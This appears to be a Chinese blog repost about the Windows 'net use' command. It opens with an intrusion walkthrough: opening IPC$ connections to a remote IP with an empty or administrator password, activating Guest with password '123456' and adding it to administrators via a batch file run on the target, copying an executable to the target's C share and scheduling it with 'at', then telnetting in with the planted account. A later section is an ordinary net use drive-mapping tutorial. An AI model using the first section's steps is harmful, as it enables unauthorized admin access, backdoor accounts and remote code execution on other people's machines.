cmd net use

前提条件

启动服务

首先保证目标的IPC服务启动,服务为lanmanWorkstation,显示名为Workstations

端口

telnet目标计算机lanmanWorkstation服务的两个端口,即139445

telnet ip 139

telnet ip 445

启动目标IPC共享

这些要在目标计算机下执行

net share ipc$

关闭

net share ipc$ /del

步骤

建立ipc$连接

net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格) 

net use \\222.222.221.102\ipc$ "" /user:"administrator"

删除一个ipc$连接

net use \\IP\ipc$ /del 

映射远程共享:

 net use z: \\IP\Disk$ 

net use z: \\222.222.221.102\d$

删除共享映射 

net use z: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认

查看远程主机的共享资源(但看不到默认共享) 
net view \\IP 

添加以后登录账号(以下命令要在目标主机执行,目标主机重启后可用)

查看用户名

net user

查看帐户的属性

net user 帐户名 

激活Guest用户

net user guest /active:yes

修改Guest密码

net user guest 123456

Guest变为Administrator

net localgroup administrators guest /add

可以将

net user guest /active:yes

net user guest 123456

net localgroup administrators guest /add

写成bat拷贝到目标计算机去执行。

远程执行bat

1.向远程主机复制文件 
copy \路径\srv.exe \\IP\共享目录名,如: 
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内 

2.远程添加执行计划任务 
at \\ip 时间 程序名,如: 
at \\127.0.0.0 11:00 love.exe 
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径

可以用同开启权限的方式去开启telnet服务,然后telnet目标主机

目标主机开启了telnet的话可以

telnet 目标IP

输入刚才留的账户和密码

失败原因

1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1327,用户账户限制阻止了此用户进行登录;

错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

转载于:https://www.cnblogs.com/aeolian/p/8327384.html

### `net use` 命令的基本用法 `net use` 是 Windows 系统中用于管理网络连接的命令之一,主要用于映射网络驱动器、查看当前网络连接状态以及断开网络连接。通过该命令,用户可以方便地访问远程服务器上的共享资源。 例如,要将远程服务器 `\\server\share` 映射为本地驱动器 `Z:`,可以使用以下命令: ```cmd net use Z: \\server\share ``` 如果共享资源需要特定的用户名和密码,可以通过 `/USER` 参数指定: ```cmd net use Z: \\server\share /USER:domain\username password ``` ### 查看当前网络连接 执行不带参数的 `net use` 命令可以查看当前系统中所有的网络连接信息,包括已映射的驱动器和 IPC 连接。输出结果会显示连接的本地设备名称、网络路径以及连接状态等信息 [^2]。 ```cmd net use ``` ### 断开网络连接 当需要断开与某个网络资源的连接时,可以使用 `/DELETE` 参数。如果希望一次性断开所有连接,可以使用以下命令: ```cmd net use * /DELETE /Y ``` 此命令会强制断开所有当前连接,并且不会提示用户确认操作 [^2]。 ### 解决多重连接问题 在某些情况下,用户可能会遇到“不允许一个用户使用一个以上用户名与一个服务器或共享资源的多重连接”的问题。这种问题通常是因为之前已经使用不同的用户名建立了连接。为了解决这个问题,可以先使用 `net use` 命令查看当前的所有连接,然后使用 `net use * /DELETE /Y` 命令断开所有连接。完成这些操作后,重新连接目标资源即可 [^2]。 ### 持久化连接设置 默认情况下,使用 `net use` 命令建立的连接在系统重启后不会自动保留。如果希望连接在每次系统启动时自动建立,可以使用 `/PERSISTENT:YES` 参数: ```cmd net use Z: \\server\share /PERSISTENT:YES ``` 如果不需要持久化连接,则可以使用 `/PERSISTENT:NO` 参数 [^3]。 ### 使用智能卡进行身份验证 对于需要使用智能卡进行身份验证的场景,可以使用 `/SMARTCARD` 参数。此参数要求用户在连接时使用智能卡进行身份验证,以提高安全性: ```cmd net use Z: \\server\share /SMARTCARD ``` ### 保存凭据 如果希望系统记住连接时使用的凭据,可以使用 `/SAVECRED` 参数。这样,在下次连接时就不需要再次输入用户名和密码: ```cmd net use Z: \\server\share /USER:domain\username password /SAVECRED ``` ### 常见问题与解决方案 1. **无法连接到共享资源** 如果在连接过程中遇到问题,首先检查网络是否正常,并确认目标服务器的共享资源是否可用。此外,确保防火墙设置没有阻止相关端口的通信。 2. **连接被拒绝** 如果连接被拒绝,可能是由于用户名或密码错误,或者是权限不足。请确认输入的凭据是否正确,并确保用户具有访问目标资源的权限。 3. **驱动器映射失败** 驱动器映射失败可能是由于驱动器号已被占用,或者目标路径格式不正确。请检查驱动器号是否可用,并确保路径格式正确(例如 `\\server\share`)。 4. **断开连接失败** 如果无法断开连接,可能是由于某些程序正在使用该连接。关闭相关程序后再尝试断开连接,或者使用 `net use * /DELETE /Y` 强制断开所有连接 [^2]。 5. **持久化连接未生效** 如果设置了 `/PERSISTENT:YES` 但连接未在重启后自动建立,检查系统的组策略设置,确保没有禁用持久化连接功能。 ### 示例代码 以下是一个简单的批处理脚本示例,用于映射多个网络驱动器并设置持久化连接: ```batch @echo off echo 正在映射网络驱动器... :: 映射Z盘到\\server\share1 net use Z: \\server\share1 /USER:domain\username password /PERSISTENT:YES :: 映射Y盘到\\server\share2 net use Y: \\server\share2 /USER:domain\username password /PERSISTENT:YES echo 网络驱动器映射完成。 pause ``` 运行此脚本后,系统将自动映射指定的网络驱动器,并在每次启动时自动重建这些连接 [^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值